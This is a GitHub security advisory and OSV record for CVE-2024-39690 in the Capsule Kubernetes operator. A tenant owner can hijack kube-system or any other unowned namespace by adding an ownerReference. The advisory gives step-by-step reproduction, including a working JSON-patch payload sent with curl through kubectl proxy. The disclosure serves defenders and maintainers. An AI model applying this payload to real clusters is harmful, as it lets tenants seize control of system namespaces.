GHSA-MQ69-4J5W-3QWP

Vulnerability from github – Published: 2024-08-20 18:34 – Updated: 2025-08-14 13:32
VLAI?
Summary
Capsule tenant owner with "patch namespace" permission can hijack system namespaces
Details

Attack Vector

Then, let me briefly explain the reasons for the errors mentioned above: 1. The 'kubectl edit' command was used to patch the namespace, but this operation requires both 'get' and 'patch' permissions, hence the error. One should use methods like 'curl' to directly send a PATCH request; 2. The webhook does not intercept patch operations on 'kube-system' because 'kube-system' does not have an ownerReference.

Below are my detailed reproduction steps

  1. Create a test cluster kind create cluster --image=kindest/node:v1.24.15 --name=k8s
  2. Install the capsule helm install capsule projectcapsule/capsule -n capsule-system --create-namespace
  3. Create a tenant
kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
  name: tenant1
spec:
  owners:
  - name: alice
    kind: User
EOF
  1. Create user alice
./create-user.sh alice tenant1 capsule.clastix.io
export KUBECONFIG=alice-tenant1.kubeconfig
  1. Patch kube-system (The first command is executed in the current shell, while the 2nd and 3rd commands require a different shell window because the current shell is being used as a proxy.)
kubectl proxy

export DATA='[{"op": "add", "path": "/metadata/ownerReferences", "value":[{"apiVersion": "capsule.clastix.io/v1beta2", "blockOwnerDeletion": true, "controller": true, "kind": "Tenant", "name": "tenant1", "uid": "ce3f2296-4aaa-45b0-a8fe-879d5096f193"}]}]'

curl http://localhost:8001/api/v1/namespaces/kube-system/ -X PATCH -d "$DATA" -H "Content-Type: application/json-patch+json"
  1. Check the result The kube-system is patched successfully. image

Summary

The tenant-owner can patch any arbitrary namespace that has not been taken over by a tenant (i.e., namespaces without the ownerReference field), thereby gaining control of that namespace.

I would like to express my apologies once again. I have always been sincere in my research and communication, and I did not intend to disturb you on purpose.

Severity ?
8.4 (High)
CVSS:3.1/AV:A/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
8.6 (High)
CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.7.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/projectcapsule/capsule"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-39690"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-08-20T18:34:37Z",
    "nvd_published_at": "2024-08-20T15:15:21Z",
    "severity": "HIGH"
  },
  "details": "# Attack Vector\nThen, let me briefly explain the reasons for the errors mentioned above: 1. The \u0027kubectl edit\u0027 command was used to patch the namespace, but this operation requires both \u0027get\u0027 and \u0027patch\u0027 permissions, hence the error. One should use methods like \u0027curl\u0027 to directly send a PATCH request; 2. The webhook does not intercept patch operations on \u0027kube-system\u0027 because \u0027kube-system\u0027 does not have an ownerReference.\n\n# Below are my detailed reproduction steps\n1. Create a test cluster\n`kind create cluster --image=kindest/node:v1.24.15 --name=k8s`\n2. Install the capsule\n`helm install capsule projectcapsule/capsule -n capsule-system --create-namespace`\n3. Create a tenant\n```\nkubectl create -f - \u003c\u003c EOF\napiVersion: capsule.clastix.io/v1beta2\nkind: Tenant\nmetadata:\n  name: tenant1\nspec:\n  owners:\n  - name: alice\n    kind: User\nEOF\n```\n4. Create user alice\n```\n./create-user.sh alice tenant1 capsule.clastix.io\nexport KUBECONFIG=alice-tenant1.kubeconfig\n```\n5. Patch kube-system (The first command is executed in the current shell, while the 2nd and 3rd commands require a different shell window because the current shell is being used as a proxy.)\n```\nkubectl proxy\n\nexport DATA=\u0027[{\"op\": \"add\", \"path\": \"/metadata/ownerReferences\", \"value\":[{\"apiVersion\": \"capsule.clastix.io/v1beta2\", \"blockOwnerDeletion\": true, \"controller\": true, \"kind\": \"Tenant\", \"name\": \"tenant1\", \"uid\": \"ce3f2296-4aaa-45b0-a8fe-879d5096f193\"}]}]\u0027\n\ncurl http://localhost:8001/api/v1/namespaces/kube-system/ -X PATCH -d \"$DATA\" -H \"Content-Type: application/json-patch+json\"\n```\n7. Check the result\nThe kube-system is patched successfully.\n![image](https://github.com/projectcapsule/capsule/assets/151004196/e2775304-c1f4-494d-ab15-14f6f33e29ec)\n\n\n# Summary\nThe tenant-owner can patch any arbitrary namespace that has not been taken over by a tenant (i.e., namespaces without the ownerReference field), thereby gaining control of that namespace.\n\nI would like to express my apologies once again. I have always been sincere in my research and communication, and I did not intend to disturb you on purpose.",
  "id": "GHSA-mq69-4j5w-3qwp",
  "modified": "2025-08-14T13:32:09Z",
  "published": "2024-08-20T18:34:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/projectcapsule/capsule/security/advisories/GHSA-mq69-4j5w-3qwp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39690"
    },
    {
      "type": "WEB",
      "url": "https://github.com/projectcapsule/capsule/commit/d620b0457ddec01616b8eab8512a10611611f584"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/projectcapsule/capsule"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Capsule tenant owner with \"patch namespace\" permission can hijack system namespaces"
}


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